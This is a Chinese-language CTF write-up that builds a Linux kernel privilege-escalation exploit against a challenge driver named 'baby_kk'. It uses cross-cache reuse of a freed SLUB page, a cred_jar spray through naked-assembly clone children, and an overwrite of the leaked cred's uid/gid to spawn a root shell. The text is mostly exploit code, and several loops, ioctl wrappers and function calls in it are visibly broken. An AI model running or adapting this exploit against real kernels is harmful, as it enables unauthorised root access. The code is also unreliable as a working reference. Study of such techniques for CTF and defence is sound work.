  • 在目标 kmem_cache 上进行堆喷,使其从 buddy system 分配 Page S 作为其 SLUB page
  • 利用 UAF 漏洞进行攻击,具体取决于漏洞权能(如 Double Free、UAF 读写等)

简单解释一下,已经解释的很清楚了,这里的victim也是和分配对象AB是一类对象,并不是目标的对象类型

一个slab至少占用一个page,否则,将会出现同一页中至少有两种不同类型的object。

下面这个利用思路和上面这个利用思路差不多

  • 首先分配大量来自于同一 kmem_cache 的附属对象,选取其中一批来自于同一张 SLUB page(称为 Page S)的对象作为攻击目标(称为 Object Set A)
  • 接下来释放 Object Set A 当中的一个对象,从而在 Page S 中创造出一个 Free Slot
  • 接下来分配漏洞对象 victim ,占用这一个 Free Slot
  • 释放大量附属对象,填充满 cpu->partial 与 node->partial,最后一批释放 Object Set A、victim,从而使得 Page S 回到 buddy system
  • 在目标 kmem_cache 上进行堆喷,使其从 buddy system 分配 Page S 作为其 SLUB page
  • 利用 UAF 漏洞进行攻击,具体取决于漏洞权能(如 Double Free、UAF 读写等)

这里有个误解,如下

这里这里的cpu也是有个partial,并不是只有node节点有这个,当超过全部存储的时候才回去node节点partial链表存储的去获取slub页

struct kmem_cache_cpu {
    void **freelist; /* Pointer to next available object */
    unsigned long tid; /* Globally unique transaction id:全局标志,用户免锁机制实现 */
    struct page *page; /* The freelist from which we are allocating */
    struct page *partial; /* Partially allocated frozen slabs list :从node中分配的内存*/
};

继续写利用思路

我们根据上面这个利用思路,我们大量申请堆块,把slub对象都申请过来,然后我们释放掉,这里就会不经过cpu和node,直接进入buddy system里面进行管理。

组织的方式的代码如下

struct zone {
    struct free_area free_area[MAX_ORDER];
};

✅ 所以,一个完全空的 SLUB slab 会:

  • 根据其原始分配的 order(比如 order=0 表示 1 页)
  • 被插入到 zone->free_area[order].free_list[type] 中
  • 成为普通空闲内存的一部分
int main(){
    save();
    bind_cpu(0);
    fd = open("baby_kk",2);
    if(!fd){
        errExit("opne fail");
    }
    int i = 0;
    char buf[0x100];
    memset(buf,0,0x100);
    for(i=0;i++;i<MAX){
        add(i);
        edit(i,0x100,buf);
    }
    for(i=0;i++;i<MAX){
        delete(i);
    }
    return 0;
}

这个时候已经是完全空的,这个时候我们再次大量分配,注意这里我们不去使用题目中的kmalloc,而是我们大量克隆的方式,这里克隆的时候也最好少用fork,要不产生的噪声可能占用我们布局好uaf的slub链表

然后我们需要考虑fork噪声的相关的问题

【Exploit trick】针对cred结构的cross cache利用 — bsauce

调用路径:SYSCALL-fork -> kernel_clone() -> copy_process() -> dup_task_struct() & copy_process()

降低噪声:基于以上的代码分析和 clone manpage 资料,可以通过设置以下flag来降低噪声——CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND,这样调用 fork 时就会触发以下slab分配:

task_struct
kmalloc**-**64
vmap_area
vmap_area
cred_jar
signal_cache
pid

注意,这里还会有4个order-0 page 分配(vmalloc导致),这个噪声是可接受的。还有一个问题,就是现在子进程不能写任何进程内存,因为和父进程共享了同一内存,所以我们需要使用shellcode来提权。

我们写好一个fork子进程的汇编指令,满足上述的要求

补充一下为什么加上__attribute__这样写的原因

__attribute__((naked))int clone_and_check(int flags,void (void*){
    __asm__(
        "mov r15,rsi;"
        "xor rsi,rsi;"
        "xor rdx,rdx;"
        "xor r10,r10;"
        "xor r8,r8;"
        "xor r9,r9;"
        "mov rax,56;"
        "syscall;"
        "cmp rax,0;"
        "jnz ret;"
        "jmp r15;"
        "ret:"
        "ret;"
    );
}

加上 __attribute__((naked)) 后:

  • 编译器 只输出你写的汇编代码,不加任何 prologue/epilogue
  • 函数入口就是你的第一条指令:mov r15, rsi
  • 子进程 jmp r15 后,完全脱离原函数上下文,干净利落
  • 父进程执行 ret 正常返回(因为你在汇编里写了 ret)

因为我们还要考虑shellcode的执行,所以我们最后jmp r15,这个r15就是我们写的第二个函数,我们写上执行shellcode的指令

然后我们写好后的脚本大致如下,就是大量创建子进程分配cred_jar

然后等root的权限,执行system,但是我们不能立即这样,我们需要等待修改之后,所以说我们暂停了shellcode的执行阶段

__attribute__((naked))int clone_and_check(int flags,void (void*)){
    __asm__(
        "mov r15,rsi;"
        "xor rsi,rsi;"
        "xor rdx,rdx;"
        "xor r10,r10;"
        "xor r8,r8;"
        "xor r9,r9;"
        "mov rax,56;"
        "syscall;"
        "cmp rax,0;"
        "jnz ret;"
        "jmp r15;"
        "ret:"
        "ret;"
    );
}
char sh[] = "/bin/sh";
int check_root_pipe[2];
u8 check_root_flag;
char root[] = "[+] root now\n";
char *sh_arg[] = {"/bin/sh",NULL};
__attribute__((naked))void check_root(){
    __asm__(
        "mov rdi,[check_root_pipe];"
        "lea rsi,check_root_flag;"
        "mov rdx,1;"
        "xor rax,rax;"
        "syscall;"   //read(check_root_pipe[0],check_root_flag,1)
        "mov rax,102;"
        "syscall;"   //getuid()
        "cmp rax,0;"
        "jz success;"
        "lea rdi,[sleep_time];"
        "mov rax,35;"
        "xor rsi,rsi;"
        "syscall;"  // nanosleep
        "success;"
        "lea rsi,[root];"
        "mov rdi,1;"
        "mov rdx,13;"
        "mov rax,1;"
        "syscall;"  // write(1,"root now",len)
        "lea rdi,[sh];"
        "lea rsi,[sh_arg];"
        "xor rdx,rdx;"
        "mov rax,0x3b;"
        "syscall;"  //execve("/bin/sh")
    );
}

int main(){
    save();
    bind_cpu(0);
    fd = open("baby_kk",2);
    if(!fd){
        errExit("opne fail");
    }
    int i = 0;
    char buf[0x100];
    memset(buf,0,0x100);
    for(i=0;i++;i<MAX){
        add(i);
        edit(i,0x100,buf);
    }
    for(i=0;i++;i<MAX){
        delete(i);
    }
    for(i=0;i++;i<MAX){
        clone_and_check(CLONE_FILES|CLONE_VM|CLONE_SIGHAND|CLONE_FS,check_root);
    }
    return 0;
}

然后我们继续写,先去找到哪个是uaf的堆块,找到之后我们再去触发一下管道

最终如下

我们通过比较普通进程的标志位,然后确定chunk块,然后我们往里面写一个字节触发管道的执行即可

原理如下

pipe(check_root_pipe);

我们在一开始的时候调用这个函数
check_root_pipe[0]是读端,check_root_pipe[1]是写端。

我们往写端写一个数据,然后这个就能继续执行下去

int main(){
    save();
    pipe(check_root_pipe);
    bind_cpu(0);
    fd = open("baby_kk",2);
    if(!fd){
        errExit("opne fail");
    }
    int i = 0;
    char buf[0x100];
    memset(buf,0,0x100);
    for(i=0;i++;i<MAX){
        add(i);
        edit(i,0x100,buf);
    }
    for(i=0;i++;i<MAX){
        delete(i);
    }
    for(i=0;i++;i<MAX){
        clone_and_check(CLONE_FILES|CLONE_VM|CLONE_SIGHAND|CLONE_FS,check_root);
    }
    info(BLUE,"spray cred done");
    u64 fake_cred_head[2];
    fake_cred_head[0] = 0x2;
    fake_cred_head[1] = 0;
    u64 gid = (u64)getgid();
    u64 uid = (u64)getuid();
    for(u64 i=0;i < MAX; i++){
        show(buf,0x10,i);
        if(((u64*)buf)[1] == (uid|gid<<32)){
            info(PINK,"find it!!!");
            eidt(((s8*)fake_cred_head),sizeof(fake_cred_head),i);
            goto found_uaf_cred;
        }
    }
    errExit("not found");
    found_uaf_cred:
    for(int i=0;i<MAX;i++){
        write(check_root_pipe[1],"!",1);
    }
    return 0;
}

最终exp如下

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/xattr.h>
#include <sched.h>
#include <sys/prctl.h>
#include <ctype.h>

#define u8 unsigned char
#define s8 char
#define u16 unsigned short
#define s16 short
#define u32 unsigned int
#define s32 int
#define u64 unsigned long
#define s64 long

#define PAGE_SIZE 4096

#define info1(color, msg) info_impl(color, msg, 0, 0)
#define info2(color, msg, val) info_impl(color, msg, 1, (size_t)(val))
//但 C 语言 不支持函数重载(不能有两个同名函数参数不同),所以要用 宏技巧 模拟。
#define info(...) _GET_INFO_MACRO(__VA_ARGS__, info2, info1)(__VA_ARGS__)
//这在 C 语言中是一种常见的“模拟函数重载”的技巧。虽然看起来有点绕,但它是标准且有效的写法。
#define _GET_INFO_MACRO(_1,_2,_3,NAME,...) NAME
//怎么做到的?靠 _GET_INFO_MACRO 的参数匹配技巧。

typedef enum { BLUE, RED, YELLOW, PINK, WHITE,GREEN,RESET } color_t;

static const char* color_code(color_t c) {
    switch(c) {
        case BLUE:   return "\033[34m";
        case RED:    return "\033[31m";
        case YELLOW: return "\033[33m";
        case PINK:   return "\033[35m";
        case WHITE:  return "\033[37m";
        case GREEN:  return "\x1b[32m";
        case RESET:  return "\x1b[0m";
        default:     return "\033[0m";
    }
}

static inline void info_impl(color_t c, const char *msg, int has_val, size_t val) {
    if (has_val) {
        printf("\033[1m%s[+] %s ===> \033[0m0x%lx\n", color_code(c), msg, val);
    } else {
        printf("\033[1m%s[*] %s\033[0m\n", color_code(c), msg);
    }
}

#define KERNCALL __attribute__((regparm(3)))
void * (*prepare_kernel_cred)(void*) KERNCALL;
void * (*commit_creds)(void*) KERNCALL;

//如果 has_val == 1:打印带 ===> 0x... 的格式(用于地址、数值)
void errExit(char *msg){printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);exit(EXIT_FAILURE);}
//这个退出的时候是红色字体也是写好了
void bind_cpu(int core)
{
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
//绑定CPU
#define MAX 0x500

size_t user_cs,user_ss,user_rflags,user_sp;
void save(){
    __asm__(
        "mov user_cs,cs;"
        "mov user_ss,ss;"
        "mov user_sp,rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("[*] saved");
}//保存寄存器指令

void get_shell(){
    system("/bin/sh");
}
int fd;
struct req{
    u8* data;
    u64 size;
    u64 idx;
};

void add(u64 idx){
    struct req tmp = {.idx=idx};
    ioctl(fd,0x1111,&tmp);
}
void delete(u64 idx){
    struct req tmp = {.idx=idx};
    ioctl(fd,0x2222);
}
void edit(u8* data,u64 size,u64 idx){
    struct req tmp={.idx=idx,.data=data,.size = size};
    ioctl(fd,0x3333);
}
void show(u8* data,u64 size,u64 idx){
    struct req tmp={.idx=idx,.data=data,.size = size};
    ioctl(fd,0x4444);
}

__attribute__((naked))int clone_and_check(int flags,void (void*)){
    __asm__(
        "mov r15,rsi;"
        "xor rsi,rsi;"
        "xor rdx,rdx;"
        "xor r10,r10;"
        "xor r8,r8;"
        "xor r9,r9;"
        "mov rax,56;"
        "syscall;"
        "cmp rax,0;"
        "jnz ret;"
        "jmp r15;"
        "ret:"
        "ret;"
    );
}
char sh[] = "/bin/sh";
int check_root_pipe[2];
u8 check_root_flag;
char root[] = "[+] root now\n";
char *sh_arg[] = {"/bin/sh",NULL};
struct timespec sleep_time = {
    .tv_sec=0xdeadbeef,
    .tv_nsec=0LL
};
__attribute__((naked))void check_root(){
    __asm__(
        "mov rdi,[check_root_pipe];"
        "lea rsi,check_root_flag;"
        "mov rdx,1;"
        "xor rax,rax;"
        "syscall;"   //read(check_root_pipe[0],check_root_flag,1)
        "mov rax,102;"
        "syscall;"   //getuid()
        "cmp rax,0;"
        "jz success;"
        "lea rdi,[sleep_time];"
        "mov rax,35;"
        "xor rsi,rsi;"
        "syscall;"  // nanosleep
        "success:"
        "lea rsi,[root];"
        "mov rdi,1;"
        "mov rdx,13;"
        "mov rax,1;"
        "syscall;"  // write(1,"root now",len)
        "lea rdi,[sh];"
        "lea rsi,[sh_arg];"
        "xor rdx,rdx;"
        "mov rax,0x3b;"
        "syscall;"  //execve("/bin/sh")
    );
}

int main(){
    save();
    bind_cpu(0);
    pipe(check_root_pipe);
    fd = open("baby_kk",2);
    if(!fd){
        errExit("opne fail");
    }
    int i = 0;
    char buf[0x100];
    memset(buf,0,0x100);
    for(i=0;i++;i<MAX){
        add(i);
        edit(i,0x100,buf);
    }
    for(i=0;i++;i<MAX){
        delete(i);
    }
    for(i=0;i++;i<MAX){
        clone_and_check(CLONE_FILES|CLONE_VM|CLONE_SIGHAND|CLONE_FS,check_root);
    }
    info(BLUE,"spray cred done");
    u64 fake_cred_head[2];
    fake_cred_head[0] = 0x2;
    fake_cred_head[1] = 0;
    u64 gid = (u64)getgid();
    u64 uid = (u64)getuid();
    for(u64 i=0;i < MAX; i++){
        show(buf,0x10,i);
        if(((u64*)buf)[1] == (uid|gid<<32)){
            info(PINK,"find it!!!");
            edit(((s8*)fake_cred_head),sizeof(fake_cred_head),i);
            goto found_uaf_cred;
        }
    }
    errExit("not found");
    found_uaf_cred:
    for(int i=0;i<MAX;i++){
        write(check_root_pipe[1],"!",1);
    }
    return 0;
}